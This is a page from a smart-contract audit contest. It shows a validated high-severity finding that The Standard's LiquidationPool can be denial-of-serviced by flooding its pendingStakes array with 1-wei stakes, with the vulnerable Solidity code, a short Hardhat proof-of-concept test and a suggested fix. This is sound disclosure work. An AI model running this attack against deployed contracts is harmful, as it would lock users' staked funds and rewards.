The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Attacker could populate the `pendingStakes` array causing DoS in the `LiquidationPool` contract.

ke1cam

Summary

pendingStakes is an array that is used to hold new stakes created by user. These stakes will be added to user's accounts after 24 hours. An attacker could add a lot of small value stakes, that increase pendingStakes length and will cause DoS.

Vulnerability details

Attacker can call increasePosition multiple times with as little as 1 wei of EURO or TST. These stakes will be added to pendingStakes array. increasePosition, decreasePosition and consolidatePendingStakes invoke consolidatePendingStakes function inside their body, which loop through all of the pending stakes. It means that these function won't work when length of pendingStakes will cause DoS.

function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
require(_tstVal > 0 || _eurosVal > 0);
consolidatePendingStakes();
ILiquidationPoolManager(manager).distributeFees();
if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
addUniqueHolder(msg.sender);
}

pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));

function consolidatePendingStakes() private {
uint256 deadline = block.timestamp - 1 days;
for (int256 i = 0; uint256(i) < pendingStakes.length; i++) {
PendingStake memory _stake = pendingStakes[uint256(i)];
if (_stake.createdAt < deadline) {
positions[_stake.holder].holder = _stake.holder;
positions[_stake.holder].TST += _stake.TST;
positions[_stake.holder].EUROs += _stake.EUROs;
deletePendingStake(uint256(i));
// pause iterating on loop because there has been a deletion. "next" item has same index
i--;
}
}
}

PoC

Add this test to liquidationPool.js inside test folder and run npx hardhat test. It might take some time to finish.

describe("PoC", () => {
it("allows attacker to DoS the pool", async () => {
const balance = ethers.utils.parseEther('5000');
const tstVal = 1;
let increase
await TST.mint(user1.address, balance);
await TST.approve(LiquidationPool.address, balance);
for(let i = 0; i < 280; i++) {
increase = LiquidationPool.connect(user1).increasePosition(tstVal, 0);
}
})
})

For me this test failed for 279 pending stakes.

Impact

As a result of DoS users will not be able to withdraw their staked tokens, increase position and distributeAssets functionality will be stopped which is necessary for users to receive rewards.

Tools used

VScode, Manual Review

Recommendations

Protocol could replace the array with the mapping and whenever a user creates a new pending stake update their pending stake mapping. For the time mechanism an arithmetic average could be used. For example user one staked 10 TST and has 24 hours left to be included in staking. After 14 hours when user one wants to increase his pending stake, update his mapping and add a lock, with 17 hours left to be included. It is just an example of new pseudo functionality but it is up to the protocol how they are going to implement this change.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.